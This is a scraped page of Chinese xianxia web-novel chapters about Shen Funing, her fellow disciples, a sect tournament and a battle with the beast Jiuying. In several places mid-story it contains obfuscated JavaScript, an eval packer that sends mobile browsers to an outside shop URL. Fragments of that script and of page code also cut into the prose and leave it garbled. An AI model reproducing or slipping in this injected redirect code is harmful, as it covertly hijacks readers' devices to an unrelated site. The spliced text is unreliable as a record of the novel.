沈复宁回头,拿着杯子喝了一口,朝还在斗嘴的两人问,“一会儿要做什么来着?” “赶集。”这会儿花雾姒和姜柳依倒是统一了战线。 沈复宁点了点头,大概明白这是怎么回事了。 “行吧。”她站了起来,“现在出去?” “诶……”姬齐结要提醒她俩什么,只是还没开口,俩人就没了影。 沈复宁拍了姬齐结一下,笑着说:“一派繁华景象,不要浪费。”说着就跟着跑了出去。 楚予看着撒欢的沈复宁,扶了下额头,“你带钱了吗?就跑出去。” 沈复宁笑着回身,边退边抬起手,摇了摇自己刚刚摸到的钱袋子,“当然有了。” 俞时逢看着那熟悉的袋子,摸了摸自己的腰间,最后无奈,跟了上去。 尤璟看着这场闹剧,将不知在想些什么的姬齐结推了出去,“神算子,今天就不要算了吧。” 姬齐结看了她一眼,没说话,却收了自己已经掐诀的手。 沈复宁周围人声鼎沸,她曾偷偷跑下山过无数次,却没有一次的感觉像这次一样,她竟然感到恐惧,恐惧过后是深深的无力感。 她低下头,喃喃道:“这是我内心最想拥有的嘛。”她认真想了会儿,自答道:“好吧,勉强承认,确实有那么一丝丝地渴望。” 她抬眼看向在朝她挥手的姜柳依,抬手示意了下,朝那边的六人跑了过去。 废了九牛二虎之力,终于挤到了六人面前,楚予给她递过去一张手帕,沈复宁还没接过去,那双干净的手就沾满了血迹。 “滴答,滴答。”血液滴下的厚重声传来,沈复宁眼睁睁看着原本朝她笑着的四人人,此刻全部惊恐的朝她看来。 不,不是看她,看的是挡在自己面前的楚予,血液从她的胸腔炸开,用尽最后的力气朝她笑了笑,无声的开口。 沈复宁听不见她说了什么,却不知为何就是莫名确定她说了什么,一如以往的一句,“喊师姐。” 沈复宁浑身颤抖,从楚予怀中掏出两张符,贴在她身上,将她交给在不知何时出现在身边的俞时逢,又不知用了多快的速度,一眨眼的功夫就到了那个勉强维持了人形东西的面前,一剑刺中。 这是沈复宁第一次攻击到它的时候,它却毫不在意,随便一挥,一阵强劲的风力精准的朝她吹过来,像是一把锋利的刀,将她的剑从中砍断。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845619|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >她被弹飞到几尺之外,身上多了一层保护层。 姬齐结头上的汗顺着血液留下来,其余的四人拼尽全力挡在她的面前,姬齐结咬着牙看向她,“我算过了,不可能的。” “呸。”花雾姒将受重伤的楚予护在怀中,抵挡攻击的空隙中,还留下了一分力气去反驳,“神算子,你什么时候算准过。” “闭嘴吧。”姜柳依给她俩挡下一招,“这种时候不要再说话了。” 尤璟双手握刀,在姜柳依与花雾姒试图招惹那东西的注意力的时候,冲了上去,仅仅跃起,又被迅速压下。 俞时逢一个闪身,挡在了她的面前,姬齐结留下的汗越来越多,若有若无的威压在他头顶压下,越来越重,最后跪了下来。 沈复宁将他扶起来,还有力气朝他笑,“神算子,这次你大概依旧算错了。” “俞时逢。”沈复宁跃起,右手以血画符,符文浮在空中,挡在了六人面前。 俞时逢心领神会,将自己的剑扔给了沈复宁,沈复宁诡异的笑了起来,站在她所画的符面前。 那东西倒是起了兴致,停下了攻击,说出的话与刚学会说话的婴儿无异,“你,胆子,大。” 沈复宁没什么表情,只是不断地用着流血的手画着符,说话的语气却欠揍的很,“未知才会害怕。” 她已经无数次的推演过自己的结果,无非就是死的痛快与否,既然都知道,何不死得轰轰烈烈,才不枉费她来着世上走这一遭,担下这天下第一的名号。 沈复宁的眼神瞬间变得凛冽,刚刚画的符一道接着一道的引在她手中的那柄剑上,一跃而起,一挥,二刺,剑剑没入那东西的体内。 周遭的风越来越大,身上的伤口越来越多,沈复宁挥剑的手一下比一下重,手上的速度在加快,话说起来却是漫不经心的,“来的时候我给自己算了一卦。” 她将剑举过头顶,腰腹发力,准确的刺入一处地方,勾唇一笑,将话说完,“大吉。” 眼前令人讨厌的幻影消散,却而代之的是楚予给她擦汗的手,沈复宁立刻握在手中。 周围的人一脸懵的看着沈复宁,沈复宁吞了吞口水,嗓子发紧,“看错了,以为有个蚊子。” “哦。”几人应了一声,继续看新出的戏文,除了俞时逢,眼尾不经意地扫过,只是沈复宁还沉浸在劫后余生的喜悦之中,全然没有注意。 过后,不知想到了什么,拍了姬齐结一下,“你是爻机山的,算数一派为何没落。” “没有没落。”姬齐结涨红了脸,声音比平时高出好几个度,“天道规律本来就难以捉摸。”说完,又觉得不够,补上了一句,“我们没有没落。” “好好好,你们没有没落。” 姬齐结立刻低下了头,小声地重复,“就是没有没落。” “那为什么会算不准。”花雾姒问了出来。 “就是……就是……”他结结巴巴就是了许久,也没有说出个所以然来。 原本姜柳依还想调侃一句,尤璟善解人意的开了口,“人家门派的事情,倒也轮不到我们管。” 只有俞时逢开口解释了,“大概是天道规律在改变。” 沈复宁若有所思的看着俞时逢,“你怎么知道。” 俞时逢朝她笑了笑,朝戏台扬了扬下巴,告诉她,要开场了。 沈复宁也没继续深究,转头看起戏。 锣鼓歇定,幕布半开,台上老生不唱兴亡不唱仙,只一声散板缓缓叹道:“看那痴人,又入梦来也。” 锣鼓声骤然收紧,帘幕大开,主角一亮相便定住在场所有人的目光,只有沈复宁还怔怔望着那早已离开的老生。 察觉到有人碰自己的手,才堪堪回神,转过头,未等楚予开口,她便压低声音说:“我对这不感兴趣,去外面呆会儿。” 楚予狐疑的看了她两秒,说:“我陪你。” “不用了。”沈复宁拒绝了楚予的贴心,慢慢的挤出了人群。 耗费好大的功夫找到了一个人少的地方,靠在墙上,盯着一只在眼前乱晃的门。 那上面夸张的装饰,让她想要忽略都无法,从她看到太初宗时,就静静地呆在她十步远的地方,时时刻刻提醒她,这都是假的,只要那东西一日不死,这些她拥有的,将要拥有的,不过一场虚妄。 沈复宁闭着眼,怀揣着侥幸心理,只一会儿,她呆到戏曲终了便出去。 刚将自己哄好,还没动身,就听到有人在喊她。 “沈复宁。” “嗯。”沈复宁下意识应了一句,转身看去,才发现是俞时逢不知道什么时候找了了自己,“你怎么来了?” “对这出戏不感兴趣。” “哦。”沈复宁点了下头。 俞时逢朝她走近了些,问她,“你呢?” 8. 第 8 章 “我也不感兴趣。”沈复宁含糊其辞。 她说完这句话后,气氛陡然安静了下来。 沈复宁觉得无聊,往前走了两步,想回去。 “你要离开吗?”俞时逢突然出声,让她顿了下。 “啊,什么?”沈复宁停下脚步,装作听不懂他的意思,企图蒙混过去。 俞时逢看着她,解释道,“今日你总是心不在焉,我想你应该有自己的打算,没有跟我们说。” 沈复宁偏了偏头,“怎么会这样想?” 沈复宁低下了头,俞时逢笑了出来,沈复宁抬眼朝他看去,触及的是他满眼的揶揄。 俞时逢摇头,没说什么,只是觉得有趣,她可能自己都没有发现,每当没准备好说辞的时候,总是会将原本就大的眼睛睁的更大,希望对方能够看到她眼中的真诚,从而不在为难她,就像现在。 沈复宁觉得他莫名其妙,往前走了一步, “所以要离开吗?”俞时逢看着她的背影,重复了一遍。 沈复宁却没有办法再装下去了,转过身,双手一摊,“没想好。” “为什么?” 沈复宁也不管他究竟能不能听懂,毫不犹豫地将自己的纠结直白地讲了出来:“在这里我能做到所有之前没能做到的,能够抛下所有的一切,所以,为什么不呆在这里呢?” 沈复宁朝俞时逢笑了下,没有给俞时逢回应的时间,自顾自地就说了起来,“哪怕刚刚师姐在我面前倒下,我也能在心神晃动的下一秒想到这都是假的,这里不会死人,没有灾难,更不用自以为很厉害的去当什么救世主,最后狼狈收场。” “但这些都是假的,我好像骗不了自己。”沈复宁突然醒悟一般,自嘲一笑,拍了拍俞时逢的肩膀,“虽然目前不知道你能察觉到什么……”顿了顿,继续说,“但就这样吧。” 沈复宁走到那扇停留在那里许久的门前,转身朝他摆了摆手,“替我跟他们说一声,外面见。” 俞时逢僵了下,眼睛一直盯着沈复宁,抿了下唇,往前走了一步,便没再动。 “快看,快看,她出来了。” “切,也没那么厉害,这么久了才醒过来。” “就是,若是我的话,最起码能比她早一刻钟醒来。” “看来心性不怎么样嘛。” 外面的观众不知道什么时候又转移了过来,坐的高高在上,说出的话也一样,轻蔑,明明什么都没做,却总认为自己能做的更好。 沈复宁听着听着就笑了出来,瞥了眼自己的手腕,朝观众那边看了一眼,漫不经心的举起了自己的手腕。 也不知那个眼神好的人看到了她,惊呼一声,“你们快看,渡妄荆是不是没有一丝作用啊。” 此话一出,观众席静了一瞬,猫头鹰一般齐齐朝沈复宁的手腕望了过去。 “好像是,她的手腕上没有伤。” “我去,这说明什么。” “说,说明,她压根没被影响。” “胡说的吧,一个人能真的什么都不想要。” 沈复宁听到了这一句,将自己的手腕抬起来认真看了看,倒也不是,上面多了些红痕,只不过没有到流血的程度而已。 “还有一个,他手上好像也没有伤。” 有人惊呼,沈复宁原以为自己就是最后一个了,没想到还有人在自己后面,她偏头看了一眼,不由得吃惊,竟然是俞时逢。 眼神转去他的手腕,并不是没有伤,只是点滴血迹凝固,被那渡妄荆挡住了,台上的观众无法直接看到而已。 许是被沈复宁盯得有些不自在,俞时逢将手往身后藏了藏,引得沈复宁朝她看了过去。 俞时逢冲她笑了笑,沈复宁点了点头,心中却暗暗思量了起来,俞时逢不对劲。 她抬脚想要朝俞时逢走过去,刚走没两步,台上就有声音传出来,“恭喜大家通过第二轮。” 说完大手一挥,一截乳白色的细绳便代替了场上人原本手腕上带着的渡妄荆。 归安镯,云纹灵丝拧编而成,镯内封存一道单程空间锚点,断裂瞬间催动传送阵,将佩戴者强行送到锚点。 仙门大比用来保证参赛弟子性命的东西,只要佩戴者扯断,瞬间传送到场外,所属门派会派人医治。 沈复宁停下脚步,朝四周望了望,除了她与俞时逢,场中大部分人都围在姜柳依身旁,看着花雾姒那略带嫌弃的眼神,沈复宁不用猜也知道,姜柳依大概在卖她的丹药了。 尤璟和姬齐结呆在楚予的身旁,看着楚予那眼神,也知道她的符咒找到新的实验者。 “一刻钟休整时间,钟声响起,众人进门。”又一道传送门出现在了大家的面前,这门直通云墟底部。 “祝各位,大比顺利。”长老说完这番话,身影消失的无影无踪,只剩下面面相觑的参赛者观众对这最后一轮来的措不及防的讨论。 沈复宁看着场上剩下的堪堪百人有些懵的眼神,笑了笑,她自己都要忘记了。 这第三轮是在第二轮刚结束没多久就开始了,参赛者需要在三天内采到蕴灵草。 蕴灵草百年一长,数量不多,能长几株全凭运气,参赛者能否遇到也全凭运气,它生长在云墟的下面,仙门大比每次的最后一轮总是这个。 就算能碰到,也没有用,可能会有凶兽守在它的四周,为了拿到那蕴灵草总会有人冒险去与那凶兽硬碰硬的。 单凭他们现在的能力不可能打得过那凶兽,只能合作,但前提是有人愿意去救你。 反正这仙门大比不可能要你性命,就算丧命了也怪不到人家头上,毕竟人家给了你保命的手段,你自己不用。 沈复宁想了想,上一次这场比赛好像没有人丧命,但有人和凶兽对上了,出手相助的人却寥寥无几。 想来也是,既然不会有人因此丧命,也就对于是否出手救人这一选择没了心里压迫,就算丧命了,也能反过来说一句,他自己不扯断那镯子,关我何事。 所以,这一场考验的更多的是参赛者的善心几何,以及团体作战水平。 “想什么呢?”楚予不知何时走到了沈复宁的身旁,“心情这么不好?” “心情不好?”沈复宁不知道楚予从哪里看出来的,她倒是觉得自己现在的心情前所未有的好,却也不想解释什么,看着她手上贴着的符,问:“有用吗?” “没达到预期。” 沈复宁点了点头,却知道不能让楚予同自己呆在一起,不然若是一同在云墟底部,她就找不到机会离开,收回自己的灵力了。 沈复宁垂头,眼神四处乱瞟,最后瞅到了正在往这边走的姜柳依和花雾姒,她抬脚就迎了上去,心中计算着剩余的时间。 楚予对她的动作摸不着头脑,只是默默跟在她的身后,揣测她家师妹究竟在想些什么。 沈复宁朝楚予伸出手,“小鱼儿,符给我一张。” 楚予无奈的看了她一眼,掏出一张愈伤符放在了她手中。 姜柳依看着那张符咒起了兴趣,当即就从沈复宁手中拿了过来,沈复宁愣了瞬,抬眼朝她看了过去。 偏偏姜柳依习以为常一样,丝毫没觉得自己从沈复宁手中拿走东西有什么不对的地方。 “嘶,疼。”姜柳依打了掐自己的花雾姒一下,“你掐我做什么?” 花雾姒朝她笑了笑,姜柳依才想到什么一样,带着歉意对沈复宁说:“不好意思,在药王谷顺手习惯了。” 沈复宁没说什么,只是问:“治疗这方面你们药王谷是最拿手的,你看看这张符的治疗效果能不能提高。” 楚予来了兴趣,“我融合了好几种咒术,改变了灵力在符中的运行方式,效果都不到预期。” 姜柳依默不作声地朝她们伸出了手,楚予无语的看着她,点了点头,“行,只要你帮我提升效果,出去后给你一百灵石。” “姨母怎么就教出你这么个钻进钱眼里的东西。” 姜柳依早就习惯了花雾姒的挖苦,朝她甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灵力缺失又无法修炼回去的事情若是让他俩知道不仅是引起他们的担心,楚予在平常的事情上会替自己遮掩,但此事关系到她的身体,楚予一定会报告给师父的。 除了这点,如果她的猜测没错,俞时逢不知为何也有之前几次的记忆,那灵力的事情也绝对不能让他知道。 若是灵力拿回了皆大欢喜,若是没有,也只是带着更多的人为自己这件小事担心。 只需要这三天,让她将那离开体内的灵力收回来就好了,到那时候一切都神不知鬼不觉,谁也不会知道自己经历了什么。 那灵度盘上显示显示的灵力就是现在这个阶段所有的,灵力恢复之后,就能安心修炼,好好长修为,然后再去算账。 她抬起手,自从进来这里,那波动便越来越明显。 虽然不知道出了什么问题才导致她的灵力没有被吸收,但她很乐意看到这个情况。 她放下手,鬼鬼祟祟的扒着这巨型灵芝,看着一茬又一茬的人从她面前走过,就是没看见应该看见的人,不耐烦的摸了摸头,“刚刚走了?”她想。 正当准备放弃的时候,就看见了楚予的身影,她跟姜柳依,花雾姒一起进来的,没多久尤璟和姬齐结也走了进来。 沈复宁有些奇怪,楚予和姜柳依,花雾姒两人一起进来她能理解,毕竟自己将她撂在那了,但尤璟和姬齐结关系刚开始有这么好吗? 没有吧……应该。 还是说在她没去吃的那顿饭上,发生了点什么,她不知道的事情。沈复宁摇了摇头,将这些有的没从自己的脑中甩出去,现在当务之急是确定没有人会跟自己同一路线。 她聚精会神盯着那扇门,看着俞时逢踩着门关闭的最后一刻走进来,又眼睁睁的看着他朝着自己灵力的方向走去,无奈的拍了下额头。 怎么光顾着害怕在拿回灵力的途中遇见他们,却忘记了他们也是有可能走上自己要走的那条路的。 沈复宁恨铁不成钢的叹了口气,最后没招了,跟在了俞时逢的身后,反正稍稍一靠近他就能察觉到,倒不如直接跟他一起去了。 她一咬牙,跟了上去,俞时逢也停下了脚步,沈复宁不满的“啧”了声,就知道会这样了。 “沈复宁。” “干嘛。”她不耐烦的应道。 俞时逢转过身,认真的看着她,对她说:“不用去栖云亭了,我现在就能告诉你。” 9. 第 9 章 沈复宁笑了出来,“不用了,我有答案了。”她看着俞时逢扬起的嘴角换了另一个问题,“你为什么走这条路?” 沈复宁眼神一眨不眨的盯着谢明榆,她想不明白,既然同她一样有之前的记忆,为什么不去走那些坦途,或是选能带有丰厚报酬的路,偏偏选择了正常人根本看都不会看一眼的压根连路都算不上的丛林小道。 沈复宁的脚往前走了两步,脚底的粘腻带出来的细微碎响给两人之间的对峙开了一个喘息空间。 可她并没有让这个空间停留多长时间,声音强势了起来。 “凭你的身手,第一场为什么会受伤?” “刚刚又为什么在我后面出来?” “你当初与我们分离的时候究竟去做了什么?” 沈复宁的问题来的又快又杂,完全没给俞时逢回答的空隙,身体在不断逼近,俞时逢节节败退,最后抵上了一个沈复宁认不出来的珍稀物种上面。 隔了一步,看着俞时逢略显慌乱的神色,突然笑了出来,“不重要了。” 你迟早都会知道我的事情,现在不过是提前,至于剩下的……沈复宁抬眼朝他看去,不知道哪里来的底气却无比笃定,他总不会害我。 俞时逢不敢去猜沈复宁话中的不重要究竟是什么意思,是这些事情不重要了,还是他的答案不重要了。 于是他急匆匆的说:“重要的。”往前快步朝沈复宁的方向走了两步,看沈复宁停下脚步又重复了一遍,“重要的。” 沈复宁没动,俞时逢走到她的面前,慢慢地说:“受伤是因为刚进去几人围攻,一时大意,在你后面出来也不是我能算计好的,当初的离开一段时间是因为受了伤,没敢让你们知道。”他小心翼翼地观察着沈复宁的脸色,生怕自己说错一句。 “至于为什么走这条路……因为没人走这条路。”说完他怕沈复宁不相信一样,又补充道:“你知道的,我不喜欢人多的地方。” 俞时逢话中的漏洞有些多,沈复宁听了第一条就想抬头反驳,却在看到他慌慌张张解释的情形时,神使鬼差的将那些话咽了下去,“这几辈子加起来俞时逢应该都没有一下子说这么多话吧。”她想。 看着在自己面前垂着头的俞时逢,看起来怎么会有点可怜,她笑了出来,没去拆穿他话中的隐瞒,“俞时逢。” 俞时逢慢慢抬起头,与沈复宁对视,下一秒只听到对方说了句,“我知道了。” 他舔了舔嘴唇,有些不安地开口:“没别的想问的了?” 沈复宁看着他,她找不到俞时逢在她面前如此小心的原因,“当然——”她故意拖长了尾音,看着他紧张的样子,突然笑了,然后补上了后两个字,短促有力,“没有。” 说完转身就走,走了两步,停了下来,转身,撞进了俞时逢认真注视她的瞳孔中,那里面的情绪太复杂,沈复宁看不太懂。 “怎么了?” 沈复宁回过神,佯装凶狠的冲他握起拳头,“不要跟过来。” 俞时逢扬起唇角,“不会的。” 沈复宁端详了会儿,才转身。 走的时候心中直嘀咕,“刚刚看错了?”这个想法刚冒出头,就被她否定了。 “他在想什么?担心我?他难道知道我的灵力消失,甚至知道消失在哪里?”沈复宁眼神变得越来越凝重,脑海中闪过第一场结束时他身上的血迹,恰到好处的外袍,以及在她看过去时遮挡血迹的动作。 沈复宁的脚步慢了下来,体内灵力的波动却越来越剧烈,将那些乱七八糟的抛到脑后,加快了速度。 她感受着灵力波动,最后停在了一处洞穴面前。 沈复宁确定,之前从未见过这个地方。 通过观视镜盯着沈复宁一举一动的观众此刻却满头雾水。 “怎么回事?刚刚两人的对话突然变得模糊不清,现在是直接看不到人了?” “人呢?沈复宁去哪里了?” 台上的关缈看到沈复宁的身影消失,立马站了起来,质问负责这一环节的徐长老,“之前明明说明会在那凶兽的周围设下禁制,现在是怎么回事!” 徐长老也没想到设下的禁制对沈复宁毫无用处,却云淡风轻的说:“谁知道是不是你给你门派的弟子说了什么,要不然她为什么守在哪里那么久,就为了走这条路。” 关缈忍不住了,当即冲到了徐崇岳面前,撩起袖子就要揍他,“徐王八,你胡说什么?” 李焕梁在后面拉着关缈,劝她:“关长老,你先别急,沈复宁的功力有目共睹,不一定会出事。” 见关缈静了下来,她又继续说:“况且,他们手上还有归安镯,她肯定不会出事的。” “归安镯,对啊。”关缈转过身看她,松开了拎着徐崇岳领子的手。 “但……沈复宁那个性子,会扯断吗?”关缈不敢赌。 她慢悠悠的走到几人中心,语气强硬:“我要进去。” 话音刚落,刚刚装鹌鹑的几人,纷纷开口,“不可。” “你若进去了,还怎么比,不如直接宣布太初宗胜了。” 关缈看着她们,刚要开口说些什么,观众席又传来嘈杂。 “怎么俞时逢也不见了?” “就是,这么这么奇怪?” 很可惜俞时逢的消失并没有引起多大的波浪,只是让台上争论的长老们皱起了眉头。 关缈蹙眉,继续说:“现在又一个弟子消失,谁也保不准下一个又会是谁,不如仙门大比就此暂停吧。” “不行,百年一次的仙门大比,岂能说暂停就暂停。” “暂停的话魁首怎么定?” 关缈气不打一处来,一甩袖子,不容辩驳的说:“那就太初宗弟子退出此次大比!” 那徐崇岳慢悠悠的拿起放在一旁的茶,品了一口,才说:“关长老,若要退出的话必须是本人才行啊,您忘了?” 此时此刻,他们争论的中心沈复宁才刚刚穿过那个不知名的洞穴。 洞穴幽深,寒气弥漫,正中卧着一汪深潭,潭水暗沉死寂。 上古凶兽九婴悬于潭水上空,九首低垂,双目睁着,眼底盛满因桎梏带给它的绝望。 它的意识好似是清醒的,拼尽全力的朝着一个方向扭动身躯,却被禁制牢牢锁死,连一丝挣扎都无从谈起。 流转微光的金色法阵纹路缠绕锁链,爬遍它的身躯,一路延伸沉入幽深潭底,禁制持续压制着凶兽本源。 沈复宁紧紧盯着九婴看向的方向,看着那团漂浮在上空的金色。 她皱着眉头看着潭水四周布下的阵法,看起来已有百年之久,又转目看向奄奄一息的九婴,脑中突然冒出一个想法,“是它在世界回溯之际,用了什么法子将我的灵力拖拽至此的吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845621|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 这个想法刚冒出来,就被沈复宁给否定了,就算是上古凶兽,被封印了这么长时间,又哪里来的法子。 “算了。”沈复宁摇了摇头,屈膝坐下,准备将灵力收回,刚动手,就感到洞穴竟然有轻微的晃动,立马收手,朝那封印看去。 灵力不知何时竟隐隐有了同封印相融的迹象,若现在收回……她看向中央有过一瞬精气神的九婴。 咬了咬下唇,转身往外走,她做不到,若是回收可能会放出这么个东西,那还不如不要。 她叹了口气,下一瞬,灵力却莫名冲向她的体内,“完蛋,中计了!”她看了眼还在冒着金光的手心。 下一瞬,跳跃到了刚刚自己灵力所在的地方,没有一丝犹豫,将玉京剑上的匕首拔了出来,在自己的手指上划了一道。 出来之前压根就没想过自己的灵力能够在这里找回来,没带任何的朱砂和符纸,好在朱砂的效力压根不能同血比。 沈复宁屏息静神,以指为笔,凌空落笔,血色线条随着她的指尖游走流转,一笔一划沉稳不乱。 口中诵念:“乾坤定序,灵符锁凶,原始真纹,落符封灵。”血色符文次第成型,扬手贴敷与封印的残缺之处。 却没想到,九婴的速度更快,身上禁制似乎同封印一体,它不知何时慢慢拖动自己的身体,九头鲜少统一战线,朝着一个方向爬去。 在沈复宁将血符贴上的一瞬,九婴尾巴高高扬起,猛地一甩,生生将沈复宁震出二里地,若不是沈复宁用法力给自己缓冲,现在洞穴就塌了。 她看着因那一击原本修复好的封印却多出来的缝隙,再看向正拼尽全力朝那缝隙继续攻击的九婴。 水球,火球,尾巴,它将能用的都用了上去,沈复宁站在封印外面。 这个封印不能攻击,只能修复,“真是的,你都做了些什么,沈复宁!”她有些气急,用尽全力拿者手中的匕首拍了自己脑袋,声响大的引得九婴其中一个头都朝她看了过来。 “拼了。”沈复宁站起来,眼神凌厉起来,将刚刚结痂的口子再次划开,重复之前的动作。 她的阵法修的不精,只能靠着血液画着一张张的符纸,勉强与还未真正恢复的九婴打个平手。 沈复宁紧咬下唇,将眼前闪烁的黑白光点赶走。 符文一次又一次地往那缝隙上冲,速度却比不过它的扩大之势,不行,这样的速度就算她血流干了也阻止不了。 刚想清楚,抬起左手,又一道符文印在了石壁上,不知她用了多大的力,洞穴竟隐隐有晃动之势,只能希望有人能看到这里的动静。 “沈复宁。” 迷迷糊糊中她好像听见有人喊她,这么快,她刚刚才甩出去吧。 俞时逢看着她苍白的脸色,迈着步子就往她这儿走,沈复宁却摇了摇头,对他喊:“去将姬齐结带来。” “你……” 他还要说什么,却被沈复宁打断:“现在封印还有修复的机会,快点去带他过来,再让楚予通知关长老。” 她知道楚予一定有办法同关缈取得联系,这件事情凭他们几个没有办法解决,封印一事上姬齐结应该是全场参赛者中最厉害的了,有他在再加上她和俞时逢最起码能撑到关缈带人下来。 见俞时逢不仅没有往外走,反倒朝她走了过来,沈复宁有些怒意,“轻重缓急你分不清吗?” 10. 第 10 章 俞时逢像是没有听见她的话一样,动作没有丝毫改变,只是从袖中掏出来一个瓶子。 最后半蹲在沈复宁的面前,伸出手,他看起来也有些生气,沈复宁没有功夫看他。 俞时逢双手结印,口中呢喃着什么,沈复宁一句也没听清,却下意识地不想让他继续。 现在这一场景又没办法挣扎,只能看见俞时逢指尖的光奔向自己体内,不过瞬间,沈复宁的脸色便恢复许多。 俞时逢叹了口气,有些无奈,“先保你命,我觉得我还是分得很清的。”说罢,才往外走,只留下一句,“一刻钟。” 沈复宁知道他这意思是一刻钟他便将姬齐结带来,俞时逢还算是几人中比较靠谱的,她相信他。 可是情况紧急不等人,她看着越来越大的裂缝,又看向攻势越来越猛的九婴。 最多半刻钟,封印的缺口就能够让它出来,只能重新封印了。 算着俞时逢可能走的已经够远了,在九婴下一次猛烈攻击之前,她猛地跳开,拔出剑,今日若是一命换一命,也算功德圆满。 况且,她看了眼对方的九颗头颅,这也不止一命了。 刺耳的婴鸣骤然响彻洞穴! 九婴催动本源水火狂击裂缝,金色阵纹蛛网般开裂。玄铁锁链接连震颤,绷断,维系万古的封印屏障轰然破碎,积压无尽岁月的凶煞气息自它体内狂涌炸开,寒潭翻起滔天黑水。 就在囚笼破碎,九婴身躯刚刚得以舒展的刹那。 沈复宁早蓄势已久,脚步踏碎水汽,玉京剑脱鞘而出。 一道雪亮剑光撕裂洞穴幽暗,携奔雷之势横渡寒潭,不偏不倚,直刺九婴正中那颗兽首。 九婴猩红瞳孔骤然收缩,万万没料到对方压根没放弃封印,反倒守在一旁,等待封印刚刚冲破的瞬间。 慌忙之间,九颗头颅同时张口,冰火洪流仓促横亘身前,轰然撞上袭来的剑光。 沈复宁趁机拔出藏匿于玉京剑中的匕首,反身越过冲击,将匕首插入九婴的蛇身。 九婴试图甩尾摆脱沈复宁,却无济于事,最后只得将尾巴朝潭水中重重甩下,靠着水的惯性,才让她落下。 九婴被她彻底激怒,水火齐出,将沈复宁完全包围其中,避无可避。 命悬一线之际,一阵乐曲声传来,硬生生控制着水火转变方向,沈复宁趁机冲到花雾姒身旁。 看着她拨动琵琶的指法,挑眉,赞赏道:“功力不错啊。” “闭嘴!”花雾姒咬牙,又冲站在一旁没有动作的人说:“你在不动的话,我停手了!” “别别别。”姜柳依立刻从后面出来,二话不说抬起沈复宁的右手,用灵力探测她身上的伤,眼中闪过精光,“您受累,多但待会儿。” 说罢,施法给沈复宁检查身体,口中喃喃:“不应该啊,怎么会呢?” 沈复宁看不明白姜柳依发现了什么,顾左右而言他:“我师姐呢?” 姜柳依一边观察着沈复宁的身体,一边回答:“她去接应长老们了,长老们大概产生了分歧,最后不知道怎么解决的,楚予留了符纸,还有丹砂给你。” 突然,一枚火球冲她们袭来,沈复宁将姜柳依推到一边,自己跳向另一边。 “大小姐,功力不行啊。”姜柳依出声嘲讽。 “你滚一边儿的。”花雾姒满头大汗,说话都是虚的,“有本事你来试试。” “不了。”她揉着自己刚刚撞到的胳膊,拿出一枚丹药,对花雾姒喊:“张嘴。” 花雾姒下意识听姜柳依的话张开了嘴,一颗丹药被她扔了进去,无力感消散许多,却也撑不了多长时间。 “不行。”沈复宁立刻就要往前冲,被姜柳依拦了下去,“你现在还不能去。” “为啥?” 姜柳依看着她身上的伤,没说话。 沈复宁看着她略带责怪的眼神,看懂了那未尽之意,“满身伤还好意思问。” “九婴刚冲破封印,功力不到两成,花雾姒能顶住,现在重要的是你。”她拿出两枚丹药递给沈复宁,让她吃了。 “俞时逢也是,伤的很深,我只匆匆看了一眼,给了一颗丹药,他就趁我没注意跑去找姬齐结了。” 沈复宁皱眉,“俞时逢伤的很深?” 见沈复宁不知道,姜柳依有些疑惑,“他不是在这里伤的吗?” 没等沈复宁否认,一段阵咒从洞穴外传来,最后盘成圈从九婴上空落下,将它重新困于潭水中央。 花雾姒终于停下了拨动琵琶的手,气鼓鼓的找上姜柳依,“你就是故意拖延的。” 沈复宁离她俩远了一点,脑海中还在回荡着刚刚姜柳依说的话,“他不是在这里伤的吗?” 她抬眼朝俞时逢看过去,对方也刚刚偏过头,正要往他那边走,楚予开口了。 楚予对众人说:“这里有问题。”见所有人都朝她看了过去,将自己没有见到关缈一行人以及自己总是在这周围打转的事情说了出来。 沈复宁收回了脚,在场人都皱起了眉。 姬齐结开口:“不仅如此。”他看着沈复宁,问,“你是怎么进来的?” 沈复宁不明所以,但能让姬齐结能用这么郑重地语气询问,一定有什么地方不对,她如实说:“走进来的。” 姜柳依和花雾姒也应和,“我们都是啊,有什么问题。” 姬齐结摇了摇头,不太确定,“我感觉到这附近有禁制,不应该这么容易就进来的。” “禁制?”沈复宁蹙眉,更加确信自己被人设计了,这次重生可能都是一个圈套。 可天道这么做是为了什么呢? 总不能是杀她成瘾吧。 “阿宁,你想到什么了?”楚予问她。 “没什么?”她看向那九婴,“如果没事了,我们不如……” 话没说完,九婴破开姬齐结的封印,震天响的婴啼紧贴着所有人的头皮而过,洞穴变得四分五裂。 九婴九头齐扬,九颗头颅各司其职,一侧四首喷吐冰封千里的寒浪,另外五首席卷焚山烈火,水火交织,朝着他们七人狂压而去。 “完了。”沈复宁冲四散的人大声喊道:“它的功力恢复的很快,大家小心!” 说罢,见六人稳下心神,又说:“师姐,寻找机会压制。”她声落之时身形已经开始动了起来,“姬齐结继续封印。” 姬齐结一跃而上,指尖引动灵光,将散落在四周残存的禁制符文临时勾连,淡金色光幕层层铺开,率先挡下迎面席卷而来的冰火浪潮。 沈复宁四周跑动,寻找九婴漏洞,“俞时逢。” 俞时逢明白,脚下动作一顿,跳到沈复宁的地方,听见她说:“斩首。” 